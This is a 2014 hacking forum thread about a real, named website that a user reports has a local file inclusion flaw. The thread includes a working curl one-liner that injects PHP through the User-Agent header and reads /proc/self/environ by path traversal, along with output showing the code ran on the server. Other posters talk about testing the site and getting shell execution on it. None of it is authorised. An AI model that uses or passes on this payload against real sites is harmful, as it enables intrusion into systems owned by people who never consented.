Thread: [Website vulnerable to LFI](#)

PIUN - May 14, 2014, 6:58 pm

So... I just found a website vulnerable to LFI. If you would like it, here it is [LFI VULNERABLE LINK](#)

?

RRRoooRRR - May 14, 2014, 9:24 pm

The vulnerability is useless since it may not be able to be exploited.

wat

It's exploitable using the oldest method in the book.

```
$ curl -s --header 'user-agent: <?php echo "__" . getcwd() . "__"; ?>'
'http://www.fwkfesp.com.br/index.php?pagina=../../../../proc/self/environ' | grep -Eo
'HTTP_USER_AGENT=__+__'
HTTP_USER_AGENT=___/home/fwkfesp/public_html___
```

RRRoooRRR - May 15, 2014, 3:42 am

LOL I didn't check it bro, that's why I said "may", all I did was up an apostrophe lol. There are several ways to exploit LFI, cURL is one of the few. Thanks for pointing that out anyway.

You said it was useless. And do you even know what cURL is or what I posted was and why I posted it?

No, i have NO idea what cURL is and i never have used it before ? Lets just stop right there before you make any more assumptions of me. If you would like to believe i dont know anything, you are entitled to your beliefs ?

Its useless because it MAY not be exploitable, you just dont stop at one word of the sentence because you want to prove a point. Once again, i didnt check it the vuln, as i stated before.

Have a nice day bud,

I can't believe you care enough to waste a post saying that. I was asking him a question. I never stated anything. It's in the past. I don't care, and neither should you.

Now, This Site is Down Time :D

I also want to try some testing .

wowrude - May 16, 2014, 6:19 pm

This is a pretty good challenge in terms of achieving bash/sh execution, as there are a plethora of disabled funcitons as well as an un-writable document root.
